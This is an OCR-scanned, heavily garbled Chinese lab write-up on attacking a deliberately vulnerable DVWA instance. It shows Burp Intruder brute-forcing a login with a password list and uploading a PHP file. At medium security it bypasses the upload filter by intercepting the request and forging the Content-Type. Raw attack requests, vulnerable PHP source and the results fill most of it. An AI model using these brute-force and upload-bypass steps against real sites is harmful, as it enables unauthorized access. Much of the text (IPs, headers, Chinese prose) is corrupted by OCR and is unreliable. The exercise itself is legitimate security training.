GET /dvwa/vulnerabilities/brute/?username=adminipassvord=§U28458cLogin=Login ETTP/1.1

- Host: 192.16B.61.1289
Acceprt-Languags: zh-TW, zh; ¢=0.2
Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Vindows NT 10.0: Winé4: x£4) AppleWebKit/537.36

(KHTHL, like Gecko) Chrome/L135.0.0.0

Payload configuration

This payload type lets you ©

Safari/537.36 payloads.
& Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*:¢=0.8, application/signsd-exchan Paste 11111

ge;v=h3;q=0.7 23333
7 Referer: htop://192.168.6L,129/dvwa/vulnerabilities/brute/ Load...
= Accept-Encoding: gzip, deflate, br 33333
o Cookie: security=low: PHPSESSID=4cé3kndfhatéleolcviSsikvT4: acopendivids=swingset,jotto, phpbbl, redmine; Remove admin

acgroupswithpersist=nada

e

Connection: keep-alive Clear pty

2 Deduplicate
Add \

Dashboard Target Proxy Intruder Repeater Collaborator
1 = 2 s 4+

@ Sniper attack

Target | http//192.168.61.129

Positions Add § Clear§ Auto §

Sequencer

Add from list_. [Pro versior,

Decoder Comparer Lagger Qrganizer Extensions.

Pay
Update Host header to match target p
ay|
Pay

Req

GET /dvwa/vulnerabilities/brute/?username=admin&épassword=gI28458:Login=Login HTTR/1.1

z Host: 192.1lEB.£81.129
5 Acecept-Language: zh-TW,zh;qg=0.9
4 Upgrade-Insecure-Recuests: 1

: User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0

Safari/537.36
Accept:

-

Pay

This
pay’

text/html, application/xhtml+xml, application/xml; q=0.9, image/avit, image/webp, image/apng, */ *;q=0.8, application/signed-sxchan

ge;v=hi;gq=0.7

7 Referer: http://192.168.61.129/dvwa/vulnerabilities/brute/

& Accept-Encoding: gzip, deflate, br

5 Cookie: security=low; PHPSESSID=4ceE3kndfhaté3esoclevisSsjikvi4; a
acgroupswvithpersist=nada
Connection: keep-alive

Burp Intruder X

The Community Edition of Burp Suite contains a demo version of Burp Intruder.
Some functionality is disabled, and attacks are time throttled.

Please visit https://portswigger.net for more details about Burp Suite
Professional which contains the full version \/

QK
M 7]
BhE ok, IR RNMAMHER,
Results Positions
" Capture filter: Capturing all items
% View filter: Showing all items.
Request Payload Status code Response received Error Timeout Length
0 200 2 5260
1 11111 200 1 5259
2 22222 200 2 5260
3 33333 200 9 5259
4 admin 200 8 53
5 empty 200 6 5759,



BHE Length, EBFF X/, BRA—EREREMEERX, BZFIRERMNER,

Results Positions
Y Capture filter: Capturing all items

S View filter: Showing all items

Request Payload Status code Response received Error Timeout Length
4 admin 00 5321

8
0 200 2 5260
2 22222 200 2 5260
1 11111 200 1 5259
3 33333 200 9 5259
5 empty 200 6 5259



J\. File Upload

1. EEHNEIEZE: low
#"&8 phpinfo.php #EERZBMT
<?php

phpinfo();

?>

Vulnerability: File Upload

Choose an image to upload:

| SHEEZ | phpinfo.php

| Upload |

../ ../hackable/uploads/phpinfo.php succesfully uploaded!

EEEZR AL A
http://192.168.119.128/dvwa/hackable/uploads/phpinfo.php
ENA] &EFWEB PHPIR A SR IEE .

192.168.119.128/dvwa/hackable/uploads/phpinfo.php

2 [0 WZE o KuolongYih Prof.. @ EdL#ixiEAD. @ accountaontuted.. @ assetogantutedu.. & ETRIEETFHREAE..

PHP Version 5.3.2-1ubuntu4.30 php

System Linux owaspbwa 2 6 32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010
686

Build Date Apr 17 2015 15:01:49

Server AP Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File |/etc/php5/apache2
(php.ini) Path
Loaded /owaspbwalowaspbwa-svn/etc/phpb/apache2/php.ini
Configuration File

Scan this dir for letciphp5/apache2/conf.d
additional .ini files

Additional .ini files |/etc/php5/apache2/conf.dicurl.ini, /etc/phpS/apache2/conf.d/gd.ini,
parsed letciphpb/apache2/conf.d/imecrypt.ini, /etc/phpb/apache2/conf.d/mysql.ini,
letciphp5/apache2/conf.d/mysgli.ini, /etc/phpS/apache2/conf.d/pdo.ini,
letciphpbfapache2/conf.d/ipdo_mysql.ini

File Upload EMfEX L EiRiR, 28 LEEREE . ARRABRKEE. 88, FREETLE
webshel lRIFRIARZFER, LRFMEERBREMNN. AEEMI LEwebshell,

BERIRE, ZBPOSTAX L&, F5/TE R LE®MIKE Ahackable/uploads, = —{E & #fi
B EEEEDIEE, RERMBEIE. BE,


http://192.168.119.128/dvwa/hackable/uploads/phpinfo.php

File Upload Source

<?php
if (isset($_POST['Upload'])) {

$target_path
$target path

DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target path . basename( $ FILES['uploaded']['name']);

if(!move _uploaded file($ FILES['uploaded']['tmp name'], $target path)) {

echo "<pre>"';
echo "Your image was not uploaded.’;
echo "</pre>"';

T else {

echo "<pre>"';
echo $target path . ' succesfully uploaded!’;
echo "</pre>';

>




2 {fFABurp Suit®E i ifi1E4: medium

& & mediom Source Code, &1 [E 4k Ahackable/uploads/, 14T BEEEMtype_E A
image/jpeg. png, B t&Zsize < 100000 (¥997.6KB),

<rphp
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name’];

$uploaded_type = $_FILES['uploaded']["type’'];

$uploaded_size = $_FILES['uploaded']['size’'];

( if (($uploaded_type == "image/jpeg") && ($uploaded_sﬂ€D

if(!move_uploaded_file($_FILES['uploaded']["tmp_name’'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.’;
echo '</pre>';

} else {
echo "<pre>';

echo $target_path . ' succesfully uploaded!’;
echo '</pre>';

¥
}
else{
echo "<pre>Your image was not uploaded.</pre>";
}

>

E I E{Ewebshel EmiEA K,
—2EELEBN, Awebshel BT EEE&ERE,
ZREBBupENMitER, (UTHEEEMEH)

B %% R phpinfo.phpei B phpinfo.png.

BARBurp, Proxy: Intercept on: Open Browser,

Burp  Project Intruder Repeater View Help Burp Suite Community Edition v2025.3.3 - Temporary Project

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Log
Intercept HTTP histop WebSockets history Match and replace @ Proxy settings
@ Intercept on Forward Drop

Time Type Direction

I

Intercept is on

Messages between Burp's browser an ur target servers are held here.This enat
analyze and modify these m ges, before you forward them

Learn mare Open browser



B2/ A 192.168.119.128

PaortSwigger x + ~ _ O %
c (0 192.168.119.128| ) A @

¥ 5 Esploring St ransport security not enfarc Recorded login method

*4 Al recorded login

| Burp Suit 24:%# Forward

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.3.3 - Tempaorary Project
Dashboard Target P Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Crgar
ntercept HTTP histary WebSockets histo Match and replace @ Proxy settings

Drop ~ Request to http//192.168.1

Dm-e/nype Direction Method  URL __'_“'—\

b1:03:55 2..HTTP 2 Reguest GET http//192.168.119.128/ ‘l

BE 2B, BiTH owaspbwa, E5E DVWA

e owaspbwa OWASP Broken V' X ar v - O >
€ e 192.168.119.128 * 9 K @
@O‘WASP Security Shepherd @thst
@&agical Code Injection Rainbow @bW’APP

@Danm Vulnerable Web Application

E| Burp Suit 4% Forward

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.3.3 - Temporary Project
Dashboard Target Proxy Intruder Regpeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions
HTTP history WebSockets histo Match and replace @ Proxy settings

> Forward | v Drop ~ Request to http/192.166.119.128:80 & @ of
Time Type Direction Method URL

01:06:48 2 .. HTTP 2 Request GET http://192.166.119.128/dvwa/
Iy | BES 7 B o . = . .
B 2B 358 A RSE 268, Login & A, B Z| Burp Suit 25;% Forward

@ DannVunerable WebApp | X | v o x

< o 192.168.119.128/wwa/login php o 9D KO

D\WA)




EF uplload EE

m Damn Vulnerable Web App (1 X ar v
< < 192.168.119.128/dvwa/vulnerabilities/upload/

Home

:
o)

. Vulnerability: File Upload

Instructions

73

Choose an image to upload

Setup

FIEEEARE

Brute Force

#4Z phpinfo.png, Bh&

Home

Instructions

Setup

Brute Force

upload L{#ZIEE

Vulnerability: File Upload

Choose an image fo upload:
phpinfo_png

| Burp Suit, &% 100000 T4, # png & & jpeg, #png & %A php

Burp Project Intruder Repeater

Dashboard Target

Time Typ: Direction Method

HTTP history WebSockets history Match and replace

@ Intercept on > Forward | v

View Help Bu

Intruder Repeater Collaborator Sequencer Decoder Comparer Logger

@} Proxy settings
Drop hd

Request to http//

URL

0111462 . H.. > Request POST

http//192.168.119.128/dvwa/vulnerabilities/upload/

Request

Pretty Raw Hex
POST /dvwa/vulnerabilities/upload/
Host: 192.166.119.128
Content-Length : 4lé
Cache-Control : max-age=0
Accept-Tanguage : zh-TW,zh;q=0.9
Origin: http://192.168.118.128
Content-Type : multipart/form—data;

Upgrade-Insecure-Requests : |
User-Agent : Mozilla/5.0 (Windows
Chrome/135.0.0.0 Safari/537.36
Aecept :

HTTE/L. 1

boundar y=----WebKitFormBoundar ynSsEcvgD3pivHyhy

NT 10.0; Win€d; x64) AppleWshKit/537.36 (KETML, like &scko)

text/html, application/xhtml+xml, application/xml; g=0.9, image/avif, image/webp, image/apng, */*; g=0.8, applicatio

n/signed-exchange; v=h3; 0.7

Accept-Encoding : gzip, deflate,

acgroupswithpersist =nada
Connection : keep-alive

Content-Disposition : form-data ;

100000

<2php
phpinfo () ;
2>

WebEitFormBoundarynSsBevgD3 pivHybx
neme ="uploaded "; filename =

Content-Dispositign— form-data ;
Content-Type :

Referer : http://192.168.119.128/dvwa/vulnerabilitics/upload/
br
Cookie : security =low; PHPSESSID =gqtl@23dmdhéggricglgaadibl ; acopendivids =swingset,jotto,phpbbl,redmine  ;

WebEitFormBoundarynSsBovgDd piviybx
name ="MAX_FILE_SIZE "

phpinfo.png

A



Request
Pretty Raw Hex =

POST /dvwa/vulnerabilities/upload/ HTTE/L.1

2 Host: 192.1e8.119.128

3 Content-Length : 41&

4 Cache-Control : max-age=0

= Accept-Language : zh-TW, zh;q=0.8

g Origin: http://192.168.119.128

7 Content-Type : multipart/form-data; boundary=----WebKitFormEoundarynSsEcvgD3pivHybx

= Upgrade-Insecurs—Requests : 1

o User-Agent : Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWebKit/537.3¢& (EHTML, like Gecko)
Chroms/135.0.0.0 Safari/537.36

Accept :

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;=0.8, applicatio
n/signed-exchange;v=h3;¢=0.7

Referer : http://192.168.119.128/dvwa/vulnerabilities/upload/

12 Accept-Encoding : gzip, deflate, br

Cookie : security =low; PHPSESSID =ggtlO9Zidmdhéggrijcglgaadibl ; acopendivids =swingset, jotto, phpbhl, redmine
acgroupswithpersist =nada

14 Connection : keep-alive

g —————— WebKitFormBoundar yn3sBovgD3 pivHybx
17 Content-Disposition : form-data ; namwe="MAX FILE SIZE "

Looooo

—————— WebKitFormBoundar yn3sBovgD3 pivHEybx
Content-Disposition :_ form-data ; name="uploaded "; filename ="phpinfo.@'

;2 Content-Type : j.magl

EBurp2i#EForward, BRI B EIHEE/M N L&,
v ——

Dlagnbeoard Targat I e Raamater Cosllla beviadi Sacsaraai Diiecaciar Comparar Logger

HTTP isbory Wwashooisty b ooy rics ard reglacs

n D ¥ Floguest 1o hip

ima T Diraciian Method =

IRERBEERA L LE
[® Damn Vulnerable Web App (X + v

€ e 192.168.119.128/dvwa/vulnerabilities/upload/# % 9
O

Vulnerability: File Upload

Home |

[ETions | Choose an image to upload:

Setup | ; RRIBEANE

Brute Force | Upload

Command Execution | mble/uploadsf’phpinfo.php succesfully uploaded!
CSRF |

# phpinfo.php 2#& 03.png, Efff—i&E
R R AL A
http://192.168.119.128/dvwa/hackable/uploads/03.php
BE B ALHAT php


http://192.168.119.128/dvwa/hackable/uploads/phpinfo.php

Hu. File Include
1.
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